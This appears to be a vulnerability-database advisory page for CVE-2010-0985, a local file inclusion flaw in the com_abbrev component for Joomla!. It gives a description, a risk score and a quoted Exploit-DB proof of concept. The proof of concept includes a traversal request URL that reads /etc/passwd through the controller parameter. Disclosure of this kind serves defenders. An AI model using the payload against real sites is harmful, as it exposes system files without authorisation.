CVE-2010-0985

high

Published 2010-03-16 · Modified 2026-04-29

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CVSS v3

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CVSS v4 NEW

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not yet in upstream

VIR risk

8.5

Description

Directory traversal vulnerability in the Abbreviations Manager (com_abbrev) component 1.1 for Joomla! allows remote attackers to include and execute arbitrary local files via a .. (dot dot) in the controller parameter to index.php. NOTE: some of these details are obtained from third party information.

Predictions

Exploit likelihood

20%

Patch ETA

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Heuristic predictions, AS-IS, for prioritization only.

Mitigations

No mitigations published for this CVE yet.

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Exploits

Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.

Exploit-DB

EDB-10948 webapps php verified text · 1 KB

FL0RiX · 2010-01-03

Joomla! Component com_abbrev - Local File Inclusion

text exploit Source: Exploit-DB

<------------------- header data start ------------------- >

[++] Joomla Component com_abbrev Local File Inclusion Vulnerability


[++] author        : FL0RiX

[++] Name           : com_abbrev

[++] Bug Type       : Local File Inclusion

[++] Demo Vuln.     :


[++] http://server/index.php?option=com_abbrev&controller=../../../../../../../../../../etc/passwd%00

[++] Note           : LFI/RFI Uzman&#305; Zannedenler Localda Aramazlar :)

< ------------------- header data end of ------------------- >

< -- bug code start -- >

path/index.php?option=com_abbrev&controller=[-LFI-]

< -- bug code end of -- >

Application impact

Vendor	Product	Versions	Fixed
chris_simon	com_abbrev	`1.1`
joomla	joomla\!

References

CWEs

CWE-22

Community-verified mitigations for this CVE will appear above when contributors publish them.

Verify integrity in audit chain (admin only). AS-IS.